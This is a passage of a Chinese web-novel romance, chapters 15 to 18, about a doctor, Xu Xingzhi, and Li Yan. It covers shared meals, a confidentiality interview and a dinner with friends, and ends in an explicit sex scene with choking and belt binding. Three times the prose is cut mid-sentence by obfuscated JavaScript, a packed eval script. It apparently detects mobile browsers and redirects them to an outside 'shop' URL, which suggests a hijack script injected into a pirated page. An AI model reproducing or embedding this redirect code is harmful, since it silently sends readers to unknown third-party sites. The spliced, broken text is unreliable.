开门的时候许行之还是习惯性地小心翼翼,倒不是怕猫跑丢,这仨都不傻,知道外面流浪的日子不好过,就是有的时候调皮喜欢在楼道里滚上一圈,蹭上一身的灰还好说,就是担心有虫卵病毒什么的,他觉得给猫当医生比给人当医生难多了,至少人能说话,自己还能从他们的表情动作里判断反馈,但一张毛绒绒的猫脸,许行之觉得除了可爱,他也说不出什么别的形容词了。 竟然没有猫窜出来,许行之心里一惊,赶紧在玄关这换了鞋走进去,对着屋里喊:“肥牛?金针菇?毛肚??”一边喊着还一边往屋子里走,走到厨房门口的时候发现三小只正蹲在厨房门口,脸都转了过来,尾巴一摆一摆的,他才放下心来,抬头往厨房里看,透明的玻璃移门里有个人影,李炎正围着围裙手里拿着汤勺在尝些什么东西,他身体跟着一点一点的时候许行之确定他是在哼歌,头发在脑后随意扎了扎,耳朵的轮廓细巧又流畅。笑意爬上了脸的时候许行之伸手解了解衬衫的第一粒纽扣,就这么倚靠着门框和三只猫一起看李炎在厨房里忙活。 “哎呦我的妈!”李炎明显是被吓了一跳,转过来的时候勺子都挥了起来,没好气地打开了厨房的门对着许行之大喊了一声:“□□有病吧!回来不知道出个声儿啊!搁这装什么老神仙!” 许行之这才站直了,“看你挺投入的,怕打扰你,”他边卸着手表边说,“做什么呢?” “晚饭。”李炎说,“你不是说要交伙食费吗,直接交伙食行不行?” “行啊,求之不得,就是还挺意外你会做饭。” “我之前可没少在顾飞那捣腾,就是那会儿还不认识你罢了。” “看来我错过不少了。”许行之笑笑,“需要我打下手吗?” “不用,”李炎说,“你去换衣服吧,一会儿就能吃饭了。” 许行之点了点头后从厨房退了出来,走回自己房间的时候他有点恍惚,这么生活化的对话,从李炎的嘴里说出来一点也不觉得尴尬,甚至……还有点享受这样的日常。打开衣柜的时候,许行之的手从纯白色的居家T恤挪到了那件藏青色的T恤上,刚穿上又脱了下来,还是换上了平时在家里的装扮,低头的时候正好看到肥牛抬着头在看自己,它好像在问自己怎么来回换毛,许行之弯着腰顺手就薅了它一把就出了房间。 “洋柿子疙瘩汤,不知道你吃过没,”李炎端着一个大汤碗就出来了,放到餐桌碗垫上的时候,他快速抽了手捏了捏两边的耳朵,“烫死我了。” “你跟我说一声我来拿呢。”许行之正要往厨房里走,李炎立刻喊住了他。 “别别,我来我来,”李炎快速又往厨房里走去,“你那手可比我金贵,实验室一抖大都算是大剂量了。” 这人,怎么那么可爱啊,许行之想。 到底许行之也没多话,就去厨房拿了两幅碗筷,等着李大厨一声令下吃饭。 烧鸡、凉拌菜、疙瘩汤……哦,敢情只有疙瘩汤是他做的啊? “你这伙食费诚意不够啊?”许行之逗他。 “……你别找事儿啊,”李炎假装凶狠了一下,“给啥吃啥,不要有意见。” “我还真没吃过这个番茄疙瘩汤,闻起来还挺香呢?” “那必须的,”李炎挑了挑眉毛,“上次你来的时间太短了,也没带你好……好逛逛。”最后几个字声音小了下去,上次在钢厂的分别实在算不上体面,而且两个人之后在讨论这件事的时候他也和许行之说明白了那只是一场意外。 那现在呢,算意外吗?李炎在心里问自己,他心里没有答案。 “那你下次带我好好逛逛。”许行之说。 李炎点了点头,没有回答,顺手就拿了大汤勺给俩人盛小碗的疙瘩汤,嘴里倒是念叨着不停,“这疙瘩汤啊,番茄必须烤一烤去了皮炒,才能把沙给炒出来,再搁上点水,面糊糊一定要弄得稀稀的,不能结块,往漏勺里一放接在烧开的汤里就成了疙瘩,鸡蛋也一定要打匀了再放进汤里,必须不能超过三秒就得关火,再撒上一把香菜撒上盐,艾玛,直接给香迷糊了。来,尝尝。” 许行之没有接过碗,而是就这么看着李炎的眼睛,李炎端着小碗的手也没放下来,餐桌上的空气好像都停了。 疙瘩汤的温度最终还是传到了手上,李炎没忍住嘶了一声,许行之赶忙接了过来,两人都没说话。 疙瘩汤真好喝啊,配着烧鸡啃的时候尤其舒坦。 大漂亮挺会吃,许行之心里想。 其实应该聊聊今天都聊了什么的,但谁都没有起这个头。 气氛太好,谁都不忍心打断。 李炎添碗的时候,许行之正好抬头,看到他左手靠近小指根的手掌那有一条血印子,许行之皱了皱眉,但饭桌上忍住了,没说什么。 饭后李炎提出今天他来洗碗的时候,许行之没同意,让李炎去沙发上坐着,说一会儿金针菇可能会来,它如果能再趴在李炎腿上的话,就表示它真的挺喜欢他的。李炎也摸不清真假,但还是有点好奇,就这么干在沙发上坐着,眼镜瞟着屋子里的各个通道,期待金针菇从哪个角落里出来然后趴在自己腿上。 金针菇没等到,却等到了许行之的医药箱。 “手划破了怎么不说?”许行之问李炎。 “多大点事儿,这有什么好说的,我修车的时候经——” 许行之直接坐到了地板上,就在李炎的腿边,从医药箱里拿出了酒精棉,拉过了李炎的手的时候,许行之能感受到他往回抽了抽,许行之捏得牢,没让他抽成功,拽到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑子里想的是关你什么事,但李炎说不出口,他甚至有一点不想说。 “心里也一样,我能治的是病,”许行之叹了口气又说,“疼了痛了委屈了,都算是伤,得你自己先护着点自己。” 李炎清了清嗓子,声音有点哑,“只是不小心切了个口子,你还挺能发挥。” “你这次完全可以不来,”许行之又抬起了头看他,“如果会让你不开心的话。” “没有,”李炎头别了过去,“无论如何我应该来的。” “应该会问一些比较尖锐的问题。” “嗯……问了。”李炎右手拇指和食指搓了搓,思索着要不要继续说下去,如果许行之问,他可以再说一遍。 但他没有说话,只是站了起来把药箱放了回去又走了回来,这次没有坐在地上,而是直接坐在了李炎的左边,侧过身右手把李炎揽了过来,手覆上了他的后脑勺,左手圈在了他的臂膀上,抱进了自己怀里。 “你辛苦了。”许行之说。 这个动作配着这句话把李炎打倒了,他发现自己在许行之面前好像没有秘密,明明什么都没说,甚至自己还表现得很活泼,但他却知道自己难过了,鼻子酸的时候他强压着把眼泪憋了回去,但嗓子里的哽咽还在,他瓮声瓮气地说:“你给我买的糖呢?” “在门口的柜子上,”许行之现在才觉得李炎憋着的一口气松了下来,靠在自己身上才有了重量,“一会儿给你拿。” 16. 第16章 第二轮密保谈话是许行之送李炎去的,那天上午许行之特意调了班,陪着李炎到了那家单位门口,自己又在街对面的一家咖啡店坐下了,李炎在进单位之前回过头看了他一眼,他就对李炎笑笑点了点头,心里却是一阵感叹,多么张扬的大漂亮,来这里遭这个罪,实在是有些过意不去。他要了一杯美式,就坐在靠窗位的沙发上,回忆着那天晚上的拥抱,现在想想其实是有些突兀的,但那会儿的情绪好像就被李炎那道口子无限放大了,虽然没有细问都问了些什么问题、或者过去他发生了什么,但许行之知道,李炎一定不好受。 让李炎意外的是,第二轮的密保问题居然主攻的是自己和许行之的关系,这让自己毫无防备,问他们是怎么认识的、又问他们到底是什么关系,黑框眼镜在问出自己是不是喜欢男人的时候李炎真的有揍人的冲动,他喜欢是自己的事情,轮不到别人评头论足,回答的口气想必也不太好,李炎就看到旁边那个记录员的笔好像写得很用力。 但无论什么问题,只要仅仅和自己有关,李炎都可以忍,即使再不爽也可以坦白,他自认长这么大没什么东西和经历是不能与人分享的,但在对方问自己许行之的性向的时候,李炎几乎要把牙咬碎了。 “你们他妈是不是有病,这些和密保流程有关系吗?!”李炎看记录员正要往上写,就一把抢了过来,“不是要调研我吗?跟许行之有什么关系?!” “不好意思,请你配合一下,虽然许医生签了保密协议,但你和他的关系也在我们的调查范围内。”黑框眼镜一点不让,还是要让李炎回答他的问题,“如果当中有存疑的情况,我们也会对许医生的报告结果有别的判断。” “不是,”李炎觉得简直不可理喻,“许行之是专业不过硬吗,还是得罪过你们的谁,需要用这样的问题来印证什么呢?我还是没有明白。”在面对这个问题的时候,李炎一再坚持,“关于许医生的一切,我都保留回答,如果因为我对他相关的问题拒绝回答从而导致这份报告出问题,那我觉得许医生就不应该来给你们做这份调研。” 黑框眼镜和记录员对视了一眼,没有说什么。接下来的问题就好回答很多了,问他是不是许行之的病人,又问了些和钢厂有关的事情,几个问题下来,黑框眼镜喝了一口水,李炎觉得差不多应该是结束了,他也喝了一口水。 “好的,两轮密保已经结束,非常感谢你的配合,”黑框眼镜站了起来,伸出了手,“后续我们会对谈话内容来做评估,会直接联系钢厂和课题组,当然了,我理解这次这个情况责任主要还是在钢厂本身,你来也完全是帮许医生的忙。” 李炎这次没有拒绝,握了握人的手,“我现在可以走了吗?” “可以了,谢谢。”黑框眼镜停顿了一下,“如果遇到许医生的话,可以转告他,他有一个很靠谱的朋友。” “操,你试探我?!”李炎的手劲一下就大了,捏得黑眼镜都皱了眉。 “疼疼疼,松松松手。你看着挺柔弱的啊,怎么劲儿那么大。” “你是不是试探我?!” “这个……”黑框眼镜有点犹豫,“必要流程而已,不必介怀。” “许行之的报告会怎么样?”李炎问。 “不会怎么样,其实本来也不会怎么样,因为封口没拆过。”黑框眼镜如实说道,“但下级单位提了需求,按照规范这一次也免不了,小伙子你是不是说话太冲了啊?不就是送个文件么,你何必……” “得得得,你不挺酷的么,怎么啰嗦起来个没完。”李炎摆了摆手,“没事儿就行,那我走了。” “哎,你等等。”黑框眼镜追了上来,压低声音对李炎悄悄说,“许医生的那点事我知道,他现在单身,你要是喜欢他,可以……” “没完了是吧老头?”李炎又开始出言不逊。 “年轻人怎么这么不懂得把握呢,许医生也给我们单位做过项目,人真不错。你也别一口咬死了是朋友啊,大胆点儿,啊。” 临出这家单位前李炎都觉得好恐怖,这的人怎么都人前人后两幅面孔呢,还相差甚远,这种技术活儿放在自己身上肯定是学不来的,什么叫我要是喜欢他,我喜欢他吗,还大胆点儿,再大胆下去能吓死你。 太阳还是很大,站在人形横道线边上的李炎马路对面看过去,窗边有一个人穿着白色衬衫、米色的西裤,走近了能看见他架在耳朵上的银丝边框眼镜,正翻腾着手机看呢,整个人透着一股斯文的气质。那天晚上两个人其实拥抱了很久,久到李炎都觉得自己的腰坐麻了,最后还是肥牛过来蹭腿才打断的,李炎洗完澡回房间的时候许行之还在客厅里翻着手机,等他真的进去之后许行之又过来敲门,把一大桶棒棒糖塞到自己手里的时候就说了一句话,“晚上别吃,容易蛀牙。”李炎记得自己点了点头,然后就把那一大桶棒棒糖先放进了自己的行李箱里,他当时就想完完整整地带走,他才不吃,他舍不得吃。 走到马路对面的时候许行之正好抬起头,倒是许行之先给李炎开的门,迎他进去的时候许行之问他热不热,李炎没觉得热却心里一暖,还是点了点头,许行之让他坐会儿,他去给李炎买杯咖啡,李炎就乖乖坐到了刚刚许行之对面的位置上,等他的间隙黑框眼镜老头的话从脑子里飘了出来,大胆点儿,大胆点儿,大胆点儿…… 喜欢许行之吗?好像是李炎第一次这么直接地思考这个问题,以前往往是还还没来得及思考这个问题,下一个问题就先起来了,我和他可能吗,我和他差那么多呢,哪里都差好多。而现在,他正纯粹地在思考,喜不喜欢他。 许行之端了一杯冰拿铁过来的时候,李炎正皱着眉,放到桌子上李炎没动,许行之又去拿了个杯套和纸巾,纸巾是用来擦汗的,杯套是怕他冻着手,这些小动作李炎都看在眼里,也明白他的用意,这么细致的许行之…… 帅气的、沉静的、优秀的、温暖的、有耐心的……李炎脑子里对许行之的关键词都快堆满了,就像自己这几天过的日子一样,在许行之家里睡觉、撸他的猫、吃他买的早饭、早安和晚安、和他散步、被他拥抱,李炎找不到理由不喜欢他,所有不想喜欢他的理由,都在自己这里,和许行之并没有什么关系。 “你乳糖不耐受?”许行之突然问,“拿铁喝 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刚入口的拿铁有点儿想喷外边,李炎实打实被呛到了,许行之刚拿的纸就起到了作用,李炎咳得脖子都红了,许行之又去拿了几张纸巾回来,一边递着纸巾一边问他,“你激动什么?” 我操,我激动什么,你说我激动什么,人家都问上咱俩得关系了,你作为咱俩之一难道不应该紧张一下吗? “我没激动。” “啊,没激动,左边嘴角还有点儿没擦干净呢。” 于是李炎就拿着纸巾擦了擦右边嘴角。 许行之啧了一声,顺手就拿着纸巾要往李炎脸上呼,手刚伸到桌子一半纸巾就被李炎夺过去了,又猛擦了一下左边。 “行了,现在没了,又是大漂亮了。” 李炎这才平静下来又拿了拿铁起来喝了两口。 “你怎么回答的?” 得,人压根没放弃这个问题。“回答什么?”李炎的语气里透着不耐烦。 “我们的关系。”许行之这会儿身体倒往后靠在了椅背上,双手交叉放在身前,整个人看起来十分放松。 “嗡哟啊。” “什么?”许行之没听清,眼睛眯了起来,往前凑近了一点,“炮|友?” “操,你故意的是不是?你他妈怎么知道他们会问我们的关系?”李炎这会儿才反应过来。 “我也做过这家单位的课题,也来谈过话。” “因为泄密?” “正常审核流程而已。”许行之不依不饶,“你说炮|友他们没有惊讶吗?” “炮你大爷!”李炎的声音一下子大了起来,“朋友!!!听清楚了没,朋友!!” “喔……”许行之应的尾音很长,李炎吃不准他什么意思,“那你,有想过别的吗?” “想什么?” “不知道啊,”许行之的语气里还是没什么起伏,“除了朋友之外的都可以想想。” 李炎停了好几秒没说话,但他这次想听黑框眼镜的,大胆儿点。 他问:“想就有吗?” 许行之说:“想就有。” 17. 第17章 这次来瞒着顾飞和蒋丞,但事儿过了也解决了,也没什么不能说的,何况自己来一趟也不容易,李炎定的是明天的火车票,还是决定今天找他俩吃个饭,这次没有背着许行之,还大大方方地问人家今天晚上他有没有时间,要不要一起,本来以为日理万机的许医生不会参加,但人答应得非常痛快,还说今天让李炎和顾飞敞开了喝,他今天滴酒不沾,负责开车,不用担心回家的事儿。李炎总觉得许行之这话怪怪的,但就是说不清是哪里有问题。 李炎最终选了一家涮肉店,铜锅的那种沿街的门面,许行之是下了班后特意回了家接李炎的,虽然嘴上念叨着不用麻烦,但真的坐上许行之车的时候,李炎心里还是雀跃的,甚至还哼着小曲儿,许行之侧过头看着他在笑,感觉自己带了个大喜鹊儿。 那家店离蒋丞工作的地方不远,本想着他现在应该挺忙的,但许行之李炎到店里的时候见他俩已经坐着了,都笑得龇牙咧嘴,跟两朵开了的向日葵花儿似的,眼睛眉毛都弯了起来,一脸的深意。 打了招呼落座了之后,服务员把菜单拿了过来,菜单是先落到顾飞手上的,他都没过眼就直接给了蒋丞,蒋丞看顾飞递过来笑了一下,说咱这算是主场,就又把菜单递给了许行之,许行之拿过来之后就给李炎了,菜单刚到李炎手上的时候对面的两人又开始笑,李炎简直有点儿想把他俩先摁到锅里去。 大漂亮到哪儿点菜都这个调性,也不仔细看,哐哐点一堆,许行之特意拿过了菜单看了一眼,也没问李炎意见,直接改掉了几个数字,又问了蒋丞他们开车来没,蒋丞摇了摇头,说坐地铁更方便,许行之点了点头,就又加了几瓶酒。 等菜的时候李炎实在是受不了了,“你俩笑什么呢?点笑穴了啊?” 顾飞猛咳了两下,没搭理他,直接对着许行之开了口,“许学长,你俩怎么回事儿啊?” “嗯?”许行之抬了头,喝了一口茶水,“我俩怎么了?” “你俩……没怎么?” 许行之也笑,但语气稳得很,“我俩要怎么?” 这哑谜是打不完了,幸好这会儿上菜了,许行之先是开了酒,往顾飞和李炎的杯子里倒了一杯,给蒋丞倒之前问他今天喝不喝,蒋丞摇了摇头说明天还有事儿,怕头疼就不喝了,许行之点了点头就把瓶盖儿拧上了。 “我开车了,晚上还得送回去,就不喝了。” 李炎都不知道是锅热的还是被许行之莫名其妙的话惹的,空调房里怎么还觉得烧得慌,心也跟着咚咚地跳。 “哎你还没说这次为什么来呢,住哪儿啊?”蒋丞涮了一片肉,总算开启了一个正经的话题。 “噢,”李炎转过头问许行之,“能说吗?会影响什么吗?” “想说就说,不用顾忌。” “哦那我说了,”李炎清了清嗓子,“就帮许医生带了份文件回钢厂,然后我没签过那个保密协议,就找事儿,让我来这谈话。” 蒋丞听着这话,觉得关键信息应该漏了不少,但也没多问下去,“那你这几天住哪儿啊?” “住我家。”许行之插了个嘴。 一片涮肉在蒋丞的筷子里没动,顾飞拿着酒杯的手也停了,两个人都愣了,不过两秒,又继续了手上的动作,但谁也没往后提什么,顾飞见没人搭话就干干地笑了两声,“挺好的。” 闷头吃肉的李炎连头都没有抬,如果许行之知道这两人和自己之前的谈话,也不知道会不会还这么自然,但这会儿不跟句啥好像也太不自然了,李炎就补了一句,“嗯,是挺好,许医生家可大了,还有三只猫呢。” 中途顾飞约李炎出去抽根烟,两人就出去了,就坐在门口等位的空椅上。李炎往裤兜里摸了摸,根本没带,回想起来这几天几乎自己都没怎么抽过烟,顾飞从兜里摸了一根给他,又给了他个火机,抽上第一口之前两人都没说话,直到顾飞打破了沉默。 “不说说?” “不知道怎么说。” “确认了没?” “没有。” “他没提?” “没有。” “你呢?” “我也没。” 又是一阵沉默,李炎几不可闻地叹了口气。 “什么时候走?” “明天。” “他没说什么?” “没有。” “后来……做过没?” “……没有。” 问着问着顾飞的火儿有点被问出来了,之前还在钢厂的时候,李炎的坦荡洒脱是顾飞亲眼见证过的,几天几夜不回家、闹得人尽皆知也无所谓,和谁在一块儿或者和谁分手,那都是沸沸扬扬的大事儿,什么时候这么憋屈过。 “你怎么想的,”顾飞问,“先别说可不可能,喜欢吗?” 李炎抽了一口烟,“嗯,喜欢。” “什么时候开始喜欢的。” “不知道。” “什么时候确定喜欢的?” “昨天。” “争取一下?” “哎我问你啊,”李炎皱了皱眉,翘了个二郎腿对着顾飞,满脸不解,“昨天他和我说除了朋友关系之外的都可以想想,你说他什么意思?” “操!”顾飞睁大了眼睛,像看弱智一样看李炎。“这你不懂?” “我操,我没和文化人谈过恋爱,我哪知道什么意思!” “你回答他了吗?” “回答了,”李炎正好把手上的烟给掐灭了,“我问他,想就有吗,他说想就有。” 顾飞笑了,也掐灭了烟,“看不出来,你挺会啊。” “我会个蛋!”李炎压低了声音吼,“我会我就不纠结了!” “他说你想就有,那你想吗?” “我不敢想。” “想不想?” “想。” 顾飞站起身拍了拍李炎的肩膀,“总算说实话了,这话藏了不少年了吧?” 李炎啧了一声,“怎么说话呢。” “那会儿就老打听他来着。”顾飞鼻子里哼了一声。 “帅啊,”李炎百口莫辩,“帅出新高度了都。” “走啊,再不进去帅的该出来请你了。” 跨进店门的时候,顾飞拍了拍李炎的背,“好好把握一下。” 两人回去的时候,蒋丞说了一句,“不知道的以为你俩在外面抽了一包呢。” “没有丞哥,他都没带烟,就抽了一根。”顾飞对着蒋丞笑,又眨了眨眼睛。 俩兄弟心窝子话说完了,酒也喝下不少了,许行之想趁着去洗手间的功夫把账结了,却在收银台遇到了顾飞。 “哎,我来。”许行之说。 “许学长,李炎难得来,还选了离我们近的地方,我们来应该的。” “还是我来,”许行之顿了一秒,“李炎说他要请的来着。” “哦……”顾飞这会儿却收回了手,准备走回座位,“那你来吧。” 许行之对着顾飞笑了笑,顾飞也笑了笑。 晚上回去的时候顾飞和蒋丞去坐了地铁,许行之和李炎往停车的地方走,路过一家小超市的时候,许行之问李炎要不要买包烟,李炎摇了摇头说这几天都想不起来抽,就先不买了。 开车回去的一路上两人都没说话,李炎时不时会偷瞄一下许行之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338568|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼镜、衬衣、休闲西裤,永远镇定得像潭水一样,连说话语气里的起伏都很少,绝对的优秀与聪明,李炎觉得如果自己的优点是一粒火星子,那许行之就是一整座火山,在许行之面前,太渺小了,火星子要怎么把握火山呢。 车一直开到地下车库,熄火、开车门、下车、进电梯,一套流程下来还是都安静着,李炎心里却越来越慌,他越想许行之那句话越觉得不是那个意思,许行之看似好像是把主动权交给自己了,那如果自己真的只是想和他做个炮|友呢,他是不是也能接受?左右都是李炎选的,许行之只要接受就可以了?那……喜欢呢?他对自己有没有一点动心? 出电梯的时候李炎把上了许行之的手臂,许行之回过头看他的时候,李炎眼睛里的疑问都快溢出来了,抓着许行之的手越握越紧,他不知道该怎么表达,但他快窒息了。 “先回家。”许行之说。 李炎的手松下来了,刚提起来的气又没了,但此刻许行之却牵起了他的手,在电梯里牵着、出电梯也牵着、连开门的时候也牵着,关了门后两人都站在玄关没有动,互相看着。 我喜欢你,你喜欢我吗? 我可以喜欢你吗?你要喜欢我吗? 憋在嗓子眼里的话到底没有说出口,却用了另外一句话来替代,“我明天要走了。” “我知道。”许行之说。 “在这住了挺多天的,谢谢。” “不客气,应该是我谢谢你。” 不管了,豁出去了,李炎说:“有点儿舍不得。” 许行之就这么看着李炎,“舍不得这里,还是舍不得我。” 李炎觉得自己鼻子酸了,这股酸劲儿来得毫无道理,眼睛里蓄起泪水的速度有点快,他都觉得这会儿鼻子开始堵了,他伸手抱住了许行之,没说话。 许行之叹了一口气,轻声又问了一遍,“舍不得这里,还是舍不得我?” “舍不得你。” “松手。”许行之说。 果然,李炎的耳朵一炸,心也跟着沉了下去,松开了手,往后退了一步,他有点无地自容,局促地站着不知所措。 “换鞋。” 李炎像个木头一样听着指令,但脱了鞋却忘了换上拖鞋,许行之没有再多说什么,也自顾自地换了鞋,又牵起了李炎的手,这次是往许行之自己房间的浴室里带的,李炎这会儿已经感受不到什么了,他在这一刻觉得自己就像被随便摆弄的尘埃一样,只有眼里不断上涌的水汽在出卖他还有感知。 许行之把李炎靠在淋浴间的玻璃隔断上,手摸上李炎的脸,吻上他眼睛的时候正好擎住了他快要流下的泪,叹了口气轻声说:“别哭。” 李炎却哭得更凶了,眼泪一颗一颗往外冒,许行之这下两只手都抚上了他的脸,一下一下地啄吻着他的眼睛,可李炎这会儿都不知道自己还能不能再抱上去。 “别哭……”许行之呢喃着,“李炎,我要亲你了。” 可李炎却把头转到了一边,短时间内心情起伏太大了、太剧烈了,说出话的声音里都带着潮气,“许行之,我真的弄不懂你要干什么。” 许行之抚在他脸上的手往下挪了挪,卡住了李炎的下巴,让他的脸对着自己,他看着李炎被泪水模糊了的眼睛,心里像一汪湖被吹皱了,李炎哭得让他心疼,可他这会儿却想让李炎哭得再凶一点。 他拉过李炎垂在两边的手,带着它们环上自己的腰,许行之又往前贴近了一点,手掐上了李炎的脖子,强迫他抬起头,看着李炎湿漉漉的眼睛和被咬出艳色的唇,吻上去的时候回答了李炎的问题。 “干……”许行之直接咬了上去,“你。” 18. 第18章 他浴室里的水调得太烫了,背对着许行之的李炎想,身上的T恤都没来得及脱,脑子里不自主溜号去想昨天洗的衣服有没有干的时候,被许行之覆在他脊骨上的手拉了回来,这人老说自己手劲大,李炎觉得自己这会儿背上肯定有不少泛红的的地方,他手到的每个地方都太疼了,刚憋下去的眼泪又被生生逼了出来,身上湿了的衣服重得让自己直不起腰,两只手只好扶着面前的淋浴开关,脸冲着下面大口喘气。 李炎在把着自己手臂的时候,许行之就忍不住了,这个容易冲动又容易无措的人,其实一直在自己眼里是透明的,即使嘴上一直不说,他妥帖关照自己时的细心,他大胆维护自己时的勇敢,甚至李炎自己都一直没意识到的,偷偷藏起来的情绪和不确定,许行之全都看在眼里,但他没有说,他想再等一等。 膝盖贴到李炎大腿后侧的时候,许行之的手忍不住捏紧了李炎的胯,李炎从嘴角里漏出的声音盖过了水的,被热水淋过的皮肤像是会呼吸一样,在许行之低着的头的面前一起一伏,湿了的T恤在就在李炎的腰上皱着,眼里手里感官里都是刺激,湿衣服被推上去了,许行之都忍不住闷哼了两声,他几乎想捡起掉在地上的皮带勒到李炎的腰上,反正泡了水的皮带也没有用了,有的时候手比脑子还快,这么想的时候就已经这么做了。 李炎觉得许行之疯了,他自己也要疯了,在许行之这里他没有任何主动权,即使明确了自己的想法还是无法表达,其实他没有太强的自尊心,而是许行之太优秀了、太耀眼了,对自己来说几乎是云上之人,无论怎么伸手都无法够到的,他每一次的动作都看似有理有据,可李炎除了更加沉溺之外别无选择,他就像许行之手里的琴弦一样,他拨一下,李炎就响一声,可现在抚琴的手失控了,李炎的声儿响得都快碎了。 可许行之觉得还是不够,即使两个人擦了发却都还是湿的,互相缠着就进了卧室,窗帘是拉着的,进屋的时候他就顺手打开了灯,最亮的暖白色,他还想看清李炎的脸,看清那双细长的眼睑里因为他溢满而出的泪水,李炎脚跟碰到床架子的时候,许行之顺势一推,李炎就倒在了床上,湿了的黄色长发就这样贴在了深蓝格子的床单上,被打湿了的地方颜色更深,平躺着的李炎白到发光,看向许行之的眼睛里的情绪很多,他已经无法分神去分析了,那根勒在李炎腰间的皮带好像也箍紧了许行之的脑袋,只有靠近李炎的时候,他才会觉得放松。 吻是从下往上落的,最后一下正好在李炎的唇上,许行之就是有这样的能力,动作看似轻巧,可下嘴的每一下都蕴着狠劲儿,一路上来留下了深深浅浅的斑驳,不知道是口腔里破了还是唇咬破了,铁锈味把残存的理智都扫光了,整个身体压上去的时候他一口咬上了李炎的脖子,在他感到疼痛的时候又强迫他打开,李炎的手指抠进了许行之的背,拉出一条又一条印记,许行之却还嫌不够。 李炎的声音里都带上了哭腔,呼吸都失去了节奏,皱着眉颤抖着大口呼吸的时候,许行之在他耳边说的那几句话,烧得他五脏六腑都都要化了。 “大漂亮,叫我。” “不要……” “叫我。” “大……聪明。” “叫我别的。” “……草哥。” “不是这个。” “别……” 李炎控制不住用手臂遮住了眼睛,可这个动作在许行之看来更多是邀请。 “叫我,”许行之俯下身在李炎耳边吐息,“炎炎。” “……许行之。” “再叫一声。” “许行之……” “把姓去掉。” “行之……” “再叫。” “行……啊……行之……” “我在。”许行之用力拥住了李炎,感受着彼此喷薄而出的热意。 太刺激了,太累了,李炎直接昏睡了过去,许行之也有点累过劲儿了,但他还是强撑着精神解开了绑在李炎腰上的皮带,红红的一圈在白皙的皮肤上特别明显,指腹摸上去的时候还有点担心自己是不是做过头了。清洁完后,他把李炎被湿发弄湿的枕头轻轻抽出来,又拿浴巾叠了个差不多的高度塞了回去,这会儿李炎肯定没精力起来吹头了,尽量让他别着凉吧。 忙了一圈许行之觉得实在是太累了,自己都有点脱力了,也躺了下去,看着李炎是背对着自己睡的,他伸过手从后面揽过他往自己这里带了带,下巴靠在李炎的后肩的时候,他都没感觉到他的头发湿,只有香气,和T恤上的、指甲钳上的一样的、醒着梦着都念着的香气。 所幸第二天是周末,两人是被李炎的电话吵醒的,许行之摸了一圈才发现李炎的手机昨天被扔在了房间门口的地上,屏幕已经有点碎了,拿过来一看写的是“老头子”,许行之才拿着回到房间里,李炎也醒了,睁开的眼睛没有聚焦,就这么发着呆。 “你爸电话。”许行之把手机递给了李炎。 李炎拿了过来,按下了接听键,“喂。” “你死哪儿去了!!!电话也不接!!!”老李的动静隔着手机都能听见。 “今天就回来了。”李炎清了清嗓子,手机从耳朵边拿开看了眼时间,坏了,车已经开了。 “坐上车了吗?” “没有,有个什么事儿,故障了。换的下一班。” “放屁!!!没听过高铁有个什么事儿不上新闻的!”老李又吼了过来,“差不多得了,赶紧他妈回来!!!” “知道了别吵吵!说今天回来就今天回来!!” 老李哼了一声把电话挂了,正好许行之倒了一杯水进来,递给了李炎,李炎看了他一眼,“没刷牙。” 许行之就把水放到了床头柜上,坐在床沿上,伸手碰了碰李炎的头发,“头疼不疼?昨天没吹就睡了。” 你他妈还好意思说,只是没吹头吗?!连澡都没让人好好洗吧! “……不疼。”李炎作势要下床,头是不疼,但腰下面扯过来的丝丝拉拉的疼让他倒吸了一口气,又摊回了床上,用眼睛剜了一眼许行之。 “要拿什么?我帮你拿。” “要撒尿!”李炎没好气地说,“你把我啊?” “也不是不行。”许行之走近了李炎,却被李炎用手抵住了。 “你也太疯了。”李炎说。 许行之抬了抬眉,没说话。 “幸好老子身体好扛得住。”李炎嘟囔着,“给我把衣服拿来,在箱子里。” “哦。” 在箱子里发现那一罐子棒棒糖的时候,许行之笑了笑,这大漂亮,还是个宝宝。 有些事虽然做了,但有些话还没说明白。 外卖来的时候,许行之把一份粥放到了李炎面前,自己也拆了一碗,应该有许多话要说,可这次许行之不想再等李炎开口了,他知道这会儿李炎比自己更忐忑。 “李炎——” 可刚开了口就被李炎打断了,“我买的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338569|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次已经开走了,你一会送我去火车站吧,看看最近的哪一班。” “好。”许行之答应了下来又反悔了,“我开车送你回去吧。” “别了,”李炎喝了一口粥说,“太远了,怪累的。” “我想多和你呆一会儿。”许行之这次没有掩饰,也没有循循善诱,话语里都是直白。 “许行之,”李炎把勺子往粥里一放,就这么看着他,“我真的和你不一样。” “我知道。” “你不知道!”李炎突然激动了起来,“不是我们亲亲嘴上上床就能解决的问题!你懂吗?!” “我不懂,”许行之的语调几乎没有起伏,还是很平静,“你说给我听。” 